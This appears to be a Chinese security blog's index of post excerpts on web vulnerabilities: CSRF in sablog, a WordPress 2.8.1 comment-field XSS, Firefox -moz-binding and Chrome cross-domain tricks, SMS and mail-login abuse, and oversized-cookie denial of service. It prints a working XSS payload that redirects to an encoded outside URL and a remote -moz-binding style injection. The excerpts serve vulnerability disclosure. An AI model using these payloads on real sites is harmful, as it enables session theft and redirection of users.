从长远的角度讲,一个完整的安全方案,应该是和现有架构本身的特性,是分开的,它并不能因为现有应用架构拦截了攻击,于是自己就表示影响不大。如果安全方案总是依靠应用现有的特性,那就要承受可能被绕过的隐患,这种隐患,导致我们总有一天,会不得不把补丁老老实实的打上去。如本文就是一个很好的例子。
[……]
[……]
最近上邮箱看邮件时,发现一个有趣的功能,叫做“代收邮件”、或者叫“其他邮箱”、或者叫“一箱多邮”等等。基本上,国内各个邮件服务,只要是新潮一点的,都互相学习,加入了这个有前途的功能。不管你有多少个邮箱,来我这里,我都可以帮你管着,免得你到处登陆,表面上是“为用户着想”,其实也包含抢客户的意思。
有登陆,就有安全,在别的登陆口,又是变态的验证码,又是登陆次数限制的,都为了防爆。现在来了新的业务,是不是也考虑到这些因素呢?
[……]
网站给用户发送手机短信,已经是一种流行元素,几乎各大门户网站都有给用户发短信的功能。网站发送短信一般有主动和被动两种方式。主动方式,是让用户填写自己的手机号,之后发送。被动的方式,是用户发短信给某个网站提供的号码,之后网站回复。
朋友以前做过短信服务,短信接口毕竟不是免费的,虽然成本很低,但是大量的短信,也会让有些人心疼一阵。为了节约成本,为了防止用户发恶意内容的短信(欺诈、不“绿坝”等),网站都会采取加入验证码、不允许用户控制短信内容等防御。但是总会有人疏漏很多。
抓个典型:
某大型门户网站有个功能,发送“手机游戏”的下载地址给用户的手机。
[……]
sablog1.6的CSRF漏洞POC。
这个在我的blog中测试成功,官方下载的最新版本测试成功,但是在小泽的blog失败的。
原因是他自己修改了源程序,判断了referer。
[……]
wordpress281评论显示xss漏洞
by kxlzx inbreak.net
ps:感谢鬼仔’blog,XEYE’s blog协助测试。
实际上是个XSS漏洞。
POC:
在评论的网址一栏,填写
http://blog.sohu.com/fh8e3333211134333/f8e9wjfidsj3332dfs‘ onmousemove=’location.href=String.fromCharCode(104,116,116,112,58,47,47,105,110,98,114,101,97,107,46,110,101,116,47,97,46,112,104,112);
[……]
kxlzx:因为在http://hi.baidu.com/hi_heige/的留言被百度删除了,只好在这里发篇。
在http://www.80vul.com/qqmail/QQmail%20Multiple%20Xss%20Vulnerabilities.htm
看到,FF3对
<style>BODY{-moz-binding:url("http://www.80vul.coom/test.xml#xss")}</style>
url中的域,是有限制的。
如果配合一些web应用的功能,可以绕过这个限制。
[……]
Chrome浏览器,在使用ajax的时候,通过url转发漏洞的配合,可以跨域提交数据(但是不能读取返回数据)。
IE6的某些版本(不知道是什么版本,在家里和某个网吧成功了),通过用户点“确定”后,也是可以跨域提交并接收数据的。
对于chrome这里,没办法读取目标域返回的数据,深感遗憾,所以发出来这篇文章,大家想想办法。
[……]
本文纯属YY,最后未实践成功,但是不排除其他网站有类似可能。
很多网站都使用了google的统计。
当我们从一个网站(A)链接到带有google统计的网站(B)时,google会记录referer的URI,并存入B的COOKIE中。
如果我们可以影响referer,是不是就可以攻击任何带有google统计的网站呢?
[……]
看了墨西哥同学(其实看不懂,刺帮忙翻译的)和刺的文章,不过我们主要关心该技术的利用。
sirdarckcat的文章 说,HTTP头的长度,在APACHE等web服务器是有一定的要求的,如果超出一定长度,会产生服务器错误。HTTP头里面,有cookie,有location,有host。。。如果我们可以控制其中一个(例如cookie),给用户植入大长度的cookie,就会出现用户访问该域下所有的请求,都带上大长度cookie,导致用户不管访问域名下的哪个文件,都会产生服务器错误,造成客户端无法访问。
本文讲这个东西具体的利用。
[……]